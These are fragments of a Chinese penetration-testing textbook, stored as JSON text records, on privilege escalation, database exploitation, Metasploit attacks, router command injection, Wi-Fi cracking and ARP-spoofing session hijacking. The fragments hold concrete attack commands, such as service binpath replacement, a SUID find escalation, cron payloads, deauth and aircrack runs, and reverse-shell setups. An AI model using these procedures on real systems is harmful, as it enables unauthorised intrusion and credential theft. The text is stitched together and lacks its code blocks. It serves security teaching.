    {"text": "运行“wmic ENVIRONMENT where \"name='path'\" get UserName,VariableValue”命令查看当前目标系统PATH环境变量，发现 在PATH环境变量“%SystemRoot%\\system32”之前添加了其他环境变 量“C:\\inetpub\\wwwroot”，PATH环境变量如图5-14所示。 图5-14 PATH环境变量 由于PATH环境变量最前面的环境变量是“C:\\inetpub\\wwwroot”，若 是在这个目录创建会执行创建管理用户操作的恶意程序“ipconfig.exe”， 那么当目标系统的管理员运行“ipconfig”命令时会运 行“C:\\inetpub\\wwwroot”目录下的“ipconfig.exe”。 上传添加用户的恶意程序“ipconfig.exe”到“C:\\inetpub\\wwwroot”目 录，如图5-15所示。 图5-15 上传恶意程序 网站管理员运行命令一般不会在命令程序所在的目录中运行，也不 会使用绝对路径运行，所以当系统管理运行“ipconfig”的命令时，会根 据环境变量寻找“ipconfig”，并以管理员的身份运 行“C:\\inetpub\\wwwroot”目录下的恶意程序“ipconfig.exe”，这时恶意用户 就被创建成功，恶意程序运行结果如图5-16所示。 图5-16 恶意程序运行结果 3 ．不安全的服务权限 通常Windows服务都是以System权限运行的，当由于系统管理员错 误配置导致低权限用户可以对某些服务修改时，可以通过修改服务启动 文件的路径“binpath”，将其替换为恶意程序的路径，这样服务启动时便 会运行恶意程序。"},
    {"text": "上传AccessChk，运行命令“accesschk users -cw * /accepteula”查找users组可以修改的服务，如图5-17所示，发现对 Everything具有写权限。 图5-17 查找users组可以修改的服务 既然任意用户都可以对Everything服务进行修改，那么可以使 用“sc”命令直接修改它的启动程序路径。"},
    {"text": "这里先上传恶意程 序“exp.exe”到“C:\\inetpub\\wwwroot”目录，然后运行命令“sc config \"Everything\" binpath= \"C:\\inetpub\\wwwroot\\exp.exe\"”，如图5-18所示修改 服务的“binpath”为恶意程序的位置，这里有个需要注意的地 方，“binpath=”后面一定要有个空格，空格后面再跟启动程序路径，否 则会出现错误。 图5-18 修改服务的“binpath” 服务重启后则会运行恶意程序，由于恶意程序功能与前面实例提到 的恶意程序功能一样，都是新增管理员用户，所以后续Windows提权涉 及的恶意程序无特别说明的不再截取运行成功后的效果截图。 4 ．不安全的注册表权限 Windows的服务路径存储在Windows注册表项中，若注册表权限配 置不当，被攻击者发现低权限用户可以修改的注册表项，则攻击者可以 将“ImagePath”修改成恶意程序的路径，若对应服务重启则可以导致提 权，与上面提到的不安全服务的权限类似。"},
    {"text": "这里以Meterpreter下的Shell为基础演示，在Meterpreter配置监听 后，上传Meterpreter的木马然后从浏览器访问，拿到Meterpreter下的 Shell后运行Shell命令进入cmd，然后运行“whoami”命令查看当前权限， 如图5-19所示，发现是IIS权限。"},
    {"text": "这里借助Subinacl工具快速查看注册表项的权限，Subinacl是微软提 供的用于对文件、注册表和服务等对象进行权限管理的工具。 通过上传 Subinacl工具，然后运行下述命令查看Everything注册表项的服务： 图5-19 查看当前权限 发现任意用户的权限为“Full Control”，也就是具有所有的控制权， 查看注册表项的权限如图5-20所示。 图5-20 查看注册表项的权限 既然任意用户都可以对Everything的注册表进行修改，那么可以修 改服务的启动程序的路径“ImagePath”。 下面通过修改“ImagePath”进行 提权，先上传恶意程序“exp.exe”到网站根目录，然后运行下述命令修改 注册表项，将Everything服务的“ImagePath”修改成恶意程序的路径： 修改注册表项，如图5-21所示。 图5-21 修改注册表项 服务重启后会运行恶意程序“exp.exe”，自动添加管理员用户。 5.2.3 MSI 文件提权 若系统的Windows Installer组件开启了永远以高特权进行安装的配 置，那么将导致非特权用户以System权限运行MSI文件，也就是可以先 生成恶意的MSI文件，将之上传后再以低权限用户调用“msiexec”命令便 可以运行MSI文件。 运行下述命令查询Windows Installer组件是否配置了永远以高特权 进行安装： 发现注册表键值均为1，也就是开启了配置，若未开启的话会报 错，查询注册表如图5-22所示。 图5-22 查询注册表 利用“msfvenom”生成添加管理员用户的MSI安装文件，上传到网站 根目录，生成MSI文件如图5-23所示。 图5-23 生成MSI文件 最后使用“msiexec”命令运行MSI文件即可实现提取。"},
    {"text": "5.2.4 计划任务提权 在Windows中通常用“at”和“schtasks”命令添加计划任务，其 中“at”命令默认以System权限运行，若是有“at”命令的执行权限，则可以 利用“at”命令快速提权。 下面介绍一个“at”命令提权的实例，在Windows 2003中使用System 权限打开一个cmd窗口，使用“at”命令添加计划任务，使 用“/interactive”开启界面交互模式，计划任务执行前可以看到当前权限 是Administrator，运行“at 12:33 /interactive cmd.exe”命令添加计划任务， 如图5-24所示以System权限打开cmd。 图5-24 添加计划任务 计划任务执行后，发现重新开启了一个cmd窗口，运行命 令“whoami”查看当前权限，如图5-25所示，发现权限变为System。"},
    {"text": "由于计划任务很多，全部显示不方便查看，这里 直接运行命令“schtasks /query /fo LIST /v /tn restart”查看待攻击 的“restart”计划任务的详情，若提示“无法加载列资源”，则需运行命 令“chcp 437”调整编码，命令运行成功后发现此计划任务是当系统启动 时以System权限运行“C:\\inetpub\\wwwroo\\restart.bat”，查看计划任务的详 情如图5-26所示。 图5-26 查看计划任务的详情 这时考虑计划任务运行的“restart.bat”脚本普通用户是否可控，使用 冰蝎发现可以编辑“restart.bat”文件，对其进行编辑，写入如下的添加管 理用户代码： 编辑计划任务脚本如图5-27所示。 图5-27 编辑计划任务脚本 待系统重启后，连接Shell运行命令“net user a”，查看用户“a”的详细 信息，如图5-28所示，发现“a”用户添加成功，并且属于管理组。"},
    {"text": "图5-28 查看用户“a”的详细信息 5.2.5 启动项 / 组策略提权 Windows启动项目录下的脚本可以开机自启，组策略启动、关机、 登录和注销脚本目录下的脚本在相关事件发生时会运行，利用这一特性 向可控制的上述目录传入恶意脚本可以达到提权的目的。"},
    {"text": "5.2.6 进程注入提权 通过进程注入提权不会创建新的进程，隐蔽性比较高，可以通 过“pinjector”工具实现进程注入，工具使用方法如下： 下面介绍一个进程注入提权实例。 通过进程注入将Administrator权限提升为System权限，首先运 行“pinjector.exe -l”命令查看可利用的进程，如图5-29所示，发现列出了 很多System权限的进程，这里任选一个注入即可。 图5-29 查看可利用的进程 然后运行命令“pinjector -p 428 cmd 1234”注入进程pid为428的进 程，使用端口1234返回cmd，运行成功后便可通过连接1234端口得到目 标的cmdshell，进程注入如图5-30所示。 图5-30 进程注入 在Kali运行命令“nc -nv 192.168.1.104 1234”，连接目标的1234端 口，发现得到了目标的cmdshell，运行“whoami”发现当前权限为System 权限，获取Shell如图5-31所示。"},
    {"text": "图5-31 获取Shell 5.3 Linux 提权 不管是对Windows提权还是对Linux提权，提权的思路大同小异， 在拿到低权限Shell后最重要的一步就是收集目标信息，然后根据这些信 息去寻找EXP或利用错误配置来提升到高权限账户，下面会通过内核漏 洞提权、SUID提权、计划任务提权和环境变量劫持提权等介绍来让大 家初步学习Linux提权。 5.3.1 内核漏洞提权 内核漏洞提权是指普通用户访问操作系统内核，利用内核漏洞将权 限提升到root权限。 通常内核漏洞提权步骤如下： （1）信息收集，例如查看当前权限、查看系统版本和内核版本 等。"},
    {"text": "1 ．信息收集常用命令 Linux内核漏洞提权主要收集的信息也就是内核信息及系统版本信 息，通过这两项信息可以快速定位到提权EXP，信息收集常用命令如 下： 2 ．查找 EXP 的方法 查找EXP方法与Windows的类似，这里不再做过多介绍。 1）Searchsploit 2）搜索网上对外公开的EXP集合 3 ．内核提权实例 下面这个案例是攻击者通过弱口令拿到Shell，运行命 令“whoami”和“id”查看当前用户及权限，发现当前用户为“mark”，UID 为“1001”。"},
    {"text": "通过UID可以判断用户的身份，这里简单介绍下UID，管理 员UID为“0”，系统用户UID为“1～999”，普通用户UID从“1000”开始， 所以当前用户权限为普通用户权限，查看权限如图5-32所示。 图5-32 查看权限 普通用户权限有很多限制，因此考虑是否可以通过内核提权来突破 这些限制，运行命令“uname -r”查看内核版本，如图5-33所示，发现内 核版本为“4.4.0-93”，然后再运行“cat /etc/issue”命令查看系统版本，发 现系统版本为“Ubuntu 16.04.3”，为后面寻找EXP进行内核提权做准备。 图5-33 查看内核版本 使用Kali下的Searchsploit，根据内核版本4.4.0搜索EXP，运行命 令“searchsploit linux 4.4.0”，发现当前操作系统的内核版本“4.4.0-93”小 于“4.4.0-116”，并且系统版本也符合“16.04”，所以定位的EXP 为“44298.c”，搜索EXP如图5-34所示。 图5-34 搜索EXP 定位到EXP后下一步要做的是想办法将EXP上传到目标系统，由于 此实例是通过弱口令获取的Shell，所以这里直接在Kali下运行下述命 名： 使用下述命令将EXP远程拷贝到目标系统的“tmp”目录下，之所以 要拷贝到“tmp”目录，是因为通常所有用户对此目录都具有读写权限， 上传EXP如图5-35所示。 图5-35 上传EXP 由于上传的EXP为C语言程序，所以需要运行命令“gcc 44298.c -o payload”，使用gcc编译上传的EXP，然后运行编译输出的文 件“payload”，发现提升为root权限，“编译—运行—提权”如图5-36所 示。"},
    {"text": "图5-36 编译—运行—提权 5.3.2 SUID 提权 SUID是一种对二进制程序进行设置的特殊权限，可以让二进制程 序的执行者临时拥有属主的权限，若是对一些特殊命令设置了SUID， 那么将会有被利用于提权的风险，常用的SUID提权命令有nmap、vim、 find、bash、more、less、nano和cp等。 下面以“find”命令为例，看看是如何利用SUID提权的。 首先运行下述命令查找设置了SUID的文件： 发现列出了很多，查看常用的能用于SUID提权的命令，发现能利 用的只有“find”命令，查找设置了SUID的文件如图5-37所示。 图5-37 查找设置了SUID的文件 使用“find”命令可以执行其他系统命令，因此可以使用“find”命令运 行“whoami”查看当前用户，运行“find 1 -exec whoami \\;”命令发现当前用 户变成了root，SUID提权如图5-38所示。 图5-38 SUID提权 5.3.3 计划任务提权 运维人员通常会通过计划任务执行脚本，从而完成一些日常操作， 但若是权限配置不当，往往会被攻击者利用，然后用来提权。 开始介绍计划任务提权前先简单介绍下“crontab”，“crontab”是Linux 的计划任务，它的服务是“crond”，配置文件为“/etc/crontab”，可以通过 编辑此配置文件配置定期执行程序或命令，也可以使用“crontab”命令配 置。 配置文件格式如下： 下面介绍一个计划任务提权的实例。"},
    {"text": "运行“cat /etc/crontab”查看计划任务，如图5-39所示，发现设置了 root用户并且每分钟都会执行根目录下的“cleanup.py”文件，也就是此文 件是以root身份运行的。 图5-39 查看计划任务 由于“cleanup.py”文件是以root身份运行，若可以编辑此文件，则可 以通过修改此文件添加提权命令，待计划任务执行便可以达到提权的目 的。 运行命令“ls -la /cleanup.py”查看“cleanup.py”的权限，发现任意用户 都可以对其进行编辑，查看文件信息如图5-40所示。 图5-40 查看文件信息 编辑文件，新增如下代码： 代码的功能是给“bash”命令设置SUID，这样便可以利用计划任务 将“bash”命令设置SUID，用SUID提权便可，添加payload如图5-41所 示。 图5-41 添加payload 待脚本执行后，运行命令“ls -la /bin/bash”发现属主的执行权限 由“x”变成了“s”，也就是设置了SUID，这时运行“bash -p”命令便可以以 root权限打开一个bash shell，在新开的Shell里运行“whoami”命令发现当 前权限已经是root，查看权限如图5-42所示。 图5-42 查看权限 5.3.4 环境变量劫持提权 在Shell输入命令时，Shell会按PATH环境变量中的路径依次搜索命 令，若是存在同名的命令，则执行最先找到的，若是PATH中加入了当 前目录，也就是“.”这个符号，则可能会被黑客利用，例如在“/tmp”目录 下黑客新建了一个恶意文件“ls”，若root用户在“/tmp”目录下运行“ls”命 令时，那么将会运行黑客创建的恶意文件。"},
    {"text": "运行“find / -user root -perm -4000 -exec ls -ldb {} \\;”命令查找设置了 SUID的文件，如图5-43所示，发现“temp”目录下有个“test”文件设置了 SUID，并且发现具有执行权限，这个文件比较可疑。 图5-43 查找设置了SUID的文件 执行“test”发现调用了“cat”命令，在“tmp”目录下运行命令“echo \"/bin/bash\" > cat”生成一个内容为“/bin/bash”的“cat”文件，运行命 令“chmod 777 cat”将“cat”文件的权限设置为777，然后运行命令“export PATH=.:$PATH”将当前路径（也就是“.”这个符号）添加到环境变量 中，然后再运行“test”看是否能劫持“cat”命令，配置环境变量如图5-44所 示。 图5-44 配置环境变量 运行“test”文件的时候，由于PATH中加入了当前目录，它调 用“cat”时会先找当前目录下的“cat”，而当前目录下“cat”文件的内容 是“/bin/bash”，由于“test”设置了SUID，因此会以root身份新开一个 Shell，提权如图5-45所示。"},
    {"text": "图5-45 提权 5.4 数据库提权 在目标系统没有可利用的漏洞进行提权时可考虑数据库提权，一般 通过Web入口拿到Shell后可从配置文件读取数据库连接信息，或是通过 弱口令直接获取数据库的口令信息，若数据库配置不当，则可通过执行 数据库语句、数据库函数等方式提升服务器用户的权限，下面将详细介 绍SQL Server数据库提权、MySQL UDF提权、MySQL MOF提权和 Oracle数据库提权。 5.4.1 SQL Server 数据库提权 SQL Server数据库内置了很多系统存储过程，其中“xp_cmdshell”这 个存储过程可以以操作系统命令行解释器的方式执行给定的命令字符 串，并以文本行方式返回输出，简单来说，就是可以通 过“xp_cmdshell”执行系统命令。 如果SQL Server服务是以管理员权限启 动的，那么“xp_cmdshell”就可以以管理员的身份执行系统命令，从而达 到提权的目的。"},
    {"text": "1 ．手工利用 xp_cmdshell 提权 1）弱口令暴力破解 Hydra对SQL Server数据库暴力破解的命令如下，其中参数L指定的 是用户名字典，参数P指定的是密码的字典。"},
    {"text": "2）利用SQL Server客户端登录进行提权 此处用的SQL Server客户端是Navicat，Navicat配置如下： 3）利用xp_cmdshell进行提权 首先，开启xp_cmdshell扩展存储过程： 每条命令的详解为： “sp_configure”用以修改系统配置的存储过程，当设置“show advanced options”参数为“1”时，允许修改系统配置中的某些高级选项， 系统中这些高级选项默认是不允许被修改的，而“xp_cmdshell”是高级选 项参数之一。"},
    {"text": "图5-46 启动MSF控制台 2）弱口令暴力破解 利用MSF的SQL Server暴力破解模 块“auxiliary/scanner/mssql/mssql_login”，对MySQL数据库进行用户名密 码暴力破解。 设置RHOSTS（目标IP）、USERNAME（数据库用户 名）、PASS_FILE（数据库密码字典）参数，设置MSF参数如图5-47所 示。 图5-47 设置MSF参数 暴力破解获得用户名密码如图5-48所示，发现用户名密码 是“sa:sa”。 图5-48 暴力破解获得用户名密码 3）利用弱口令提权 利用“auxiliary/admin/mssql/mssql_exec”模块进行提权，设置 RHOST（目标地址）、PASSWORD（数据库密码）、CMD（要执行的 命令），通过设置命令“whoami”，发现得到的权限是System最高权限， 提权成功，mssql_exec模块提权如图5-49所示。"},
    {"text": "图5-49 mssql_exec模块提权 5.4.2 MySQL UDF 提权 UDF（User-Defined-Function），即用户自定义函数，通过新添加 函数对MySQL的功能进行扩充。 根据MySQL用户自定义函数的功能， 写入有执行系统命令的UDF，通过调用此UDF，达到提权的目的。 MySQL数据库提权需要满足以下几个条件： （1）MySQL服务以管理员权限启动。"},
    {"text": "MySQL数据库UDF提权步骤： （1）MySQL弱口令暴力破解。 利用Hydra工具破解MySQL密码， Hydra对MySQL暴力破解的命令如下： Hydra暴力破解完成后，发现存在弱口令用户名、密码 为“root:root”，如图5-50所示。 图5-50 发现存在弱口令用户名、密码为“root:root” （2）使用MySQL客户端登录，此处用的MySQL客户端是Navicat， Navicat连接MySQL配置如图5-51所示。 （3）打开数据库，新建查询，打开命令行界面，输入“use mysql;”，切换到MySQL数据库，如图5-52所示。 图5-51 Navicat连接MySQL配置 图5-52 切换到MySQL数据库 （4）将“udf.dll”代码的16进制声明给“my_udf_a”变量： 如图5-53所示。"},
    {"text": "图5-53 将“udf.dll”代码的16进制声明给“my_udf_a”变量 （5）创建表“my_udf_data”，字段为“data”，类型为“longblob”： 如图5-54所示。"},
    {"text": "（7）查看dll导出路径，不同版本的MySQL导出路径不一样： “MySQL<5.0”，导出路径随意。 “5.0<=MySQL<5.1”，需要导出至目标服务器的系统目录（如： system32），否则在下一步操作中会发生“No paths allowed for shared library”错误。 “MySQL>5.1”，需要导出dll到插件路径，插件路径可以用命 令“show variables like '%plugin%';”查看。 因为不同版本的MySQL导出路径不一样，所以要首先查看版本信 息，使用“select @@version”命令，发现MySQL的版本是“5.5.53”，如图 5-55所示。 图5-55 MySQL版本是5.5.53 数据库的版本是“5.5.53”，“MySQL>5.1”，需要用“show variables like '%plugin%';”查看导出路径。 输入以下测试语句“show variables like '%plugin%';”，发现导出路径为“C:/Program Files/phpStudy/MySQL/lib/plugin”，查看导出路径如图5-56所示。"},
    {"text": "“function cmdshell”的名字不能随意更改： 图5-58 创建function cmdshell （10）通过“function cmdshell”进行提权，添加用户“x”，并添 加“x”到管理员用户组中： 添加用户“x”并提权，如图5-59所示。"},
    {"text": "图5-60 利用用户“x”进行远程登录 5.4.3 MySQL MOF 提权 托管对象格式（MOF）文件是创建和注册提供程序、事件类别和事 件的简便方法。 MOF文件每隔五秒就会监控进程的创建和死亡，若 MySQL是以管理员身份启动，并且可以往MOF的文件路 径“C:/windows/system32/wbem/mof”中写入文件，便可以通过上传MOF 进行提权。 下面介绍一个通过MySQL MOF提权的实例。"},
    {"text": "运行命令“sc qc MySQLa”查看MySQL的启动权限，如图5-61所示， 发现是System。 图5-61 查看MySQL的启动权限 连接MySQL，用户名密码可以通过网站配置文件获取，也可以通 过弱口令直接连接，下面先上传MOF文件到网站根目录，然后运行如下 SQL语句将上传到网站根目录的MOF文件导 入“C:/windows/system32/wbem/ mof”目录。"},
    {"text": "图5-62 导入MOF文件 若是MOF文件存在问题，则会出现 在“C:/windows/system32/wbem/mof/bad”目录下，若MOF文件没问题则 会出现在“C:/windows/system32/wbem/mof/good”目录下。"},
    {"text": "5.4.4 Oracle 数据库提权 1 ．获取数据库版本及 SID 号 1）获取数据库版本 利用Nmap的“-sV”参数可以扫描应用的指纹信息，通过扫描可以获 取此数据库的版本为“9.2.0.1.0”。 2）获取数据库SID号 利用Nmap自带脚本“oracle-sid-brute”进行暴力破解SID，只要是暴 力破解就与字典有关，字典的文件在“Nmap\\nselib\\data\\oracle-sids”文件 中，通过暴力破解获取Oracle的SID为“CTFS”。 2 ．弱口令暴力破解 利用Metasploit进行Oracle弱口令暴力破解，也可以利用Metasploit 获取数据库版本及SID号。 利用“auxiliary/scanner/oracle/sid_brute”获取SID信息，其 中，“/usr/share/metasploit-framework/data/wordlists/sid.txt”为字典库， sid_brute模块参数如图5-63所示。 图5-63 sid_brute模块参数 设置目标地址RHOSTS，然后“run”，开始暴力破解，获取的SID为 CTFS，如图5-64所示。 图5-64 获取的SID为CTFS 使用“auxiliary/scanner/oracle/oracle_login”模块进行弱口令破解，发 现存在用户名密码为“scott:tiger”。"},
    {"text": "网络安全攻防技术实战 图7-90 SOCKS代理 配置好SOCKS代理后，便可使用攻击机的1234端口访问内网，在 火狐配置代理服务器，访问内网主机站点，使用代理如图7-91所示。 图7-91 使用代理 第 8 章 内网常见攻击 8.1 操作系统漏洞 操作系统是管理和控制计算机硬件与软件资源的计算机程序，是直 接运行在“裸机”上的最基本的系统软件，任何其他软件都必须在操作系 统的支持下才能运行。"},
    {"text": "大家应该都知道，在对内网的攻击中，除了收集资产和针对Web系 统进行攻击外，还会对内网终端系统的漏洞进行攻击，如经典的MS08- 067和MS17-010漏洞等。 当然除了这些可以直接进行攻击的漏洞外，还 有以对远程登录端口进行弱口令暴力破解的方式进行攻击。 众所周知，很多的终端因为本身在内网中，认为是比较安全的或者 是不能上网且无法自动更新补丁的，导致不能及时更新系统漏洞补丁， 这种情况在内网中是很普遍的。 不过在内网中弱口令更是一个十分大的 隐患，如123456、111111及姓名拼音等应该都是在内网终端中非常常见 的，而且很多的终端使用者为了操作方便直接使用的是空密码，对于这 种情况通常会使用一些暴力破解工具进行检测，如果获取到一个弱口 令，那么下一步的攻击会变得简单许多。"},
    {"text": "8.1.1 MS08-067 利用 MS08-067漏洞是很经典的远程溢出漏洞，下面来介绍下如何使用 MSF利用此漏洞。 首先运行“search 08-067”命令搜索MS08-067漏洞利用 模块，然后运行命令“use exploit/windows/smb/ms08_067_netapi”并使用 漏洞利用模块“exploit/windows/smb/ms08_ 067_netapi”，并运行命令“set RHOST 10.211.55.22”对其进行配置，使用漏洞利用模块如图8-1所示。 图8-1 使用漏洞利用模块 运行命令“set payload generic/shell_reverse_tcp”选择Payload，如图8-2所示，再运行命令“show options”查看所需配置。 图8-2 选择Payload 运行命令“set LHOST 10.211.55.21”和“set target 3”配置监听主机及 目标，然后运行命令“run”并开始攻击，发现攻击成功，如图8-3所示， 得到了一个Shell，获得了最高的System权限。"},
    {"text": "图8-3 攻击成功 8.1.2 MS17-010 利用 MS17-010漏洞是著名的远程溢出漏洞，下面通过MSF演示如何利 用此漏洞。 首先，运行命令“search 17-010”搜索MS17-010漏洞利用模 块，然后运行命令“use exploit/windows/smb/ms17_010_psexec”并使用漏 洞利用模块“exploit/windows/smb/ ms17_010_psexec”，选择攻击模块如 图8-4所示。"},
    {"text": "图8-5 攻击成功 8.2 网络设备漏洞 提到网络设备大家应该都不陌生，不论是小型局域网，还是公司办 公网等，只要是涉及网络的都会有网络设备的存在。 网络设备包括中继 器、网桥、路由器、网关、防火墙、交换机等设备，在内网攻击中，我 们不仅要对操作系统、数据库等进行攻击，还要对网络设备进行漏洞攻 击，在这一节主要介绍路由器、交换机和安全设备的一些常见漏洞，让 大家能够掌握更多的内网攻击的攻击面。 8.2.1 路由器漏洞 随着信息时代的到来，路由器是内部网络中必不可少的设备。 如果 路由器存在漏洞，这将大大影响整个网络系统的安全性，同时也对用户 的隐私造成极大威胁。"},
    {"text": "路由器基本都是基于Linux系统的，架构以MIPS和ARM为主，大部 分含有Telnet服务，也会有很多基础命令以Busybox的方式实现，如 cat、chmod、date、echo、ifconfig、ls、kill等，当然为了方便用户管理 调试，现在越来越多的网络设备还会有Web配置界面。 1 ．路由器常见漏洞 路由器常见的漏洞有很多，下面列举一些在内网攻击中使用的漏 洞，通常为命令执行漏洞、拒绝服务漏洞、未授权访问漏洞和自带后门 漏洞这四种类型。 1）命令执行漏洞举例： TP-Link SR20本地网络远程代码执行漏洞、Dir-890l命令执行漏 洞、腾达AC15远程代码执行漏洞(CVE-2018-5767)、D-Link DIR-859远 程代码执行漏洞（CVE-2019-17621）。 2）拒绝服务漏洞举例： TP-Link WR886N V7 Inetd Task Dos、Cisco-ASA-拒绝服务漏洞 （CVE-2018-0296）。 3）未授权访问漏洞举例： 腾达某型号路由器后台登录认证、电信光猫HG2821T-U未授权导致 信息泄露、D-Link多型号路由器存在任意文件下载漏洞、某些型号的 Comba和D-Link路由器存在管理员密码泄露漏洞等。 4）自带后门漏洞举例： 思科路由器SYNful Knock后门程序、Belkin SURF路由器后门、 Tenda路由器后门等。 当然路由器除了可能存在直接影响安全的漏洞外，还可能存在弱口 令的问题，如Web管理后台弱口令、23端口弱口令等。 攻克路由器后可 以做DNS劫持、蠕虫病毒、ARP欺骗、网络拓扑、流量转发、放置后门 等操作。 2 ．路由器典型漏洞演示 上面已经介绍了路由器的作用和部分漏洞，现在介绍一下路由器漏 洞CVE-2019-16920。"},
    {"text": "受影响的产品有DIR-655、DIR-866L、DIR-652、DHP-1565、DIR-855L、DAP-1533、DIR-862L、DIR-615、DIR-835、DIR-825等。"},
    {"text": "该漏洞源于一个失败的身份认证检查，当要进入管理页面时，需要 执行登录操作，如图8-6所示为正常的登录请求。 图8-6 正常的登录请求 漏洞产生的原因是参数“ping_ipaddr”执行命令注入，虽然响应是跳 转到登录页面，但操作“ping_test”仍然执行。"},
    {"text": "开始攻击时，首先在攻击脚本上设置好目标IP，还要在自己的VPS 上面使用NC工具开启监听以便接收目标发过来的请求。 执行攻击脚 本，通过参数“ping_ipaddr”注入命令“echo test”成功执行，并将“test”发 送给自己的VPS。"},
    {"text": "使用BurpSuite工具进行发包请求测试如图8-7所示。 图8-7 发包请求测试 BurpSuite请求成功后会在VPS上收到带“test”的数据请求，NC监听 如图8-8所示。"},
    {"text": "3 ．路由器渗透工具 RouterSploit 针对内网设备的漏洞扫描和利用工具推荐路由器渗透工具 RouterSploit，如图8-9所示。 图8-9 RouterSploit 下面使用RouterSploit工具对IP为192.168.0.1的路由器进行漏洞扫 描。"},
    {"text": "图8-12 扫描结果 8.2.2 交换机漏洞 交换机在企业网中占有重要的地位，通常是整个网络的核心所在， 这一地位使它成为黑客入侵和病毒肆虐的重点对象。"},
    {"text": "常用的交换机品牌 有华为交换机、H3C交换机、思科交换机、TP-LINK交换机、锐捷交换 机、D-Link交换机、NETGEAR交换机、中兴交换机等，下面例举一些 交换机漏洞。 1）命令执行漏洞举例： Cisco Smart Install远程命令执行漏洞（CVE-2018-0171）、HP 2910al-48G任意命令执行漏洞、信锐WAC命令执行漏洞。 2）未授权漏洞举例： Cisco CatOS密码提示未授权远程命令执行漏洞、Cisco Small Business 220 Series Smart Plus Switches未授权访问漏洞。 3）拒绝服务漏洞举例： MOXA EDS-405A工业交换机拒绝服务漏洞、H3C S5120V2-SI系列 交换机拒绝服务漏洞、H3C S5000PV3-EI系列以太网交换机拒绝服务漏 洞。 4）其他类型漏洞举例： Huawei OceanStor SNS3096信息泄露漏洞、H3C ACG1000-M交换机 存在弱口令漏洞。 黑客攻破交换机后，可以进行的攻击有VLAN跳跃攻击、生成树攻 击、MAC表洪水攻击、ARP攻击、VTP攻击、挂马、端口镜像、流量污 染等。"},
    {"text": "8.3 无线网攻击 无线网也可以叫无线局域网（Wireless LAN，WLAN），是不使用 任何导线或传输电缆连接的局域网，无线网用户通过一个或多个无线接 收器接入无线网。"},
    {"text": "无线网存在的风险目前大多是嗅探流量、暴力破解和Wi-Fi干扰这 三种。 发射无线网的路由器也会存在很大的安全风险，详细漏洞可参 考“网络设备漏洞-路由器”小节的内容。 1）嗅探流量 所有的Wi-Fi流量都可以通过监听模式的适配器来嗅探，而且无线 网存在密码也不能百分之百的保护用户不被嗅探，现在破解WEP加密的 无线网也只需要几分钟的时间，甚至连WPA2-PSK都是不安全的。"},
    {"text": "2）暴力破解访问 直接对热点进行暴力破解攻击非常耗费时间而且也完全没有必要， 大多数暴力破解工具都可以记录Wi-Fi的流量。 攻击者可以通过记录用 户网络的流量，然后再使用工具对用户的网络密码进行破解。"},
    {"text": "3）Wi-Fi干扰 在无须连接该网络的情况下伪造“认证”帧。 信号范围内的攻击者可 以向目标用户所连接的热点发送连续的认证帧来达到干扰Wi-Fi的目 的。"},
    {"text": "1）WPA-PSK/WPA2-PSK WPA-PSK/WPA2-PSK安全类型其实是WPA/WPA2的一种简化版 本，它基于共享密钥的WPA模式，安全性很高，设置也比较简单，适 合普通家庭用户和小型企业使用。 2）WPA/WPA2 WPA/WPA2是一种比WEP强大的加密算法，选择这种安全类型， 路由器将采用Radius服务器进行身份认证并得到密钥的WPA或WPA2安 全模式。"},
    {"text": "8.3.2 无线网破解 WEP类型的加密，这类加密是非常不安全，如果目标Wi-Fi是此类 的加密类型，那么破解时需要具备以下两个条件，第一个是信号的强度 要足够强，第二个是存在没有在线的客户端（连接Wi-Fi的设备）。"},
    {"text": "WPA加密的Wi-Fi的最主要的破解方法是抓包和跑PIN码。 Wi-Fi破解之 前需先了解一下其是如何连接的，首先发送一个请求和Wi-Fi建立连 接，这个请求就是一个数据“握手包”，其包含攻击者发送过去的一个密 码，但这个密码是加密过的。 这里使用Kali系统演示破解Wi-Fi的密码，如果Kali系统是安装在虚 拟机中，还需要一个外置网卡。 开始攻击前，使用命令“ifconfig”查看一下网卡信息，如图8-13 所 示，wlan0是外置无线网卡。 通过“airmon-ng”工具运行命令“airmon-ng start wlan0”开启网卡 monitor（监听）模式，如图8-14所示。 图8-13 网卡信息 图8-14 开启网卡monitor（监听）模式 通过输入命令“iwconfig”查看网卡信息，可以发现“wlan0”变 成“wlan0mon”，这表示监听开启成功，如图8-15所示。 然后运行命令“airodump-ng wlan0mon”扫描Wi-Fi，如图8-16所示。 图8-15 监听开启成功 图8-16 扫描Wi-Fi 相关参数解释如下： （1）BSSID为Wi-Fi的MAC地址。"},
    {"text": "图8-18 抓取成功 如果发现一直抓取不成功,可以在另一个终端中运行命令“airepaly-ng -0 0-c已连接Wi-Fi设备的mac地址-a bssid wlan0mon”，先让设备掉 线，随后设备会自动连接，再次抓取如图8-19所示。"},
    {"text": "图8-21 数据包存储到“/root”目录下 使用命令“aircrack-ng -w /root/pass1000.txt /root/wifi-01.cap”进行暴力 破解，“-w”参数后是字典的路径，需要自备，密码破解成功，如图8-22 所示，得到密码为“12345678”。"},
    {"text": "图8-22 密码破解成功 8.4 中间人劫持攻击 中间人劫持攻击在工作组渗透中很常见，下面介绍如何通过中间人 攻击进行Cookie会话劫持，从而劫持用户登录内网系统的Cookies。"},
    {"text": "中间 人攻击（Man-in-the-Middle Attack, MITM）是一种由来已久的网络入侵 手段，并且当今仍然有着广泛的发展空间，如SMB会话劫持、DNS欺骗 等攻击都是典型的MITM攻击。 简而言之，所谓的MITM攻击就是通过 拦截正常的网络通信数据，进行数据嗅探和篡改，而通信的双方却毫不 知情。"},
    {"text": "Arpspoof使用方法如下： 首先，使用Arpspoof工具进行ARP欺骗，运行命令“arpspoof -i eth0 - t 192.168.0.1 192.168.0.109”的目的是获取目标主机IP镜像流量，再进行 ARP欺骗，最终效果为干扰目标不能正常上网，如图8-23所示，开始对 目标进行ARP欺骗。 图8-23 ARP欺骗 Tcpdump的使用方法如下： 然后，运行“tcpdump -i eth0 -w./cookie.pcap”使用Tcpdump对数据进 行抓包捕获。"},
    {"text": "图8-24 嗅探 Ferret的使用方法如下： 使用Ferret工具，运行命令“ferret -r cookie.pcap”，处理已经捕获的 数据“cookie.pcap”，生成一个txt格式的文件“hamster.txt”，这将用于 Hamster发起真正的会话劫持攻击，如图8-25所示，开始处理数据包。"},
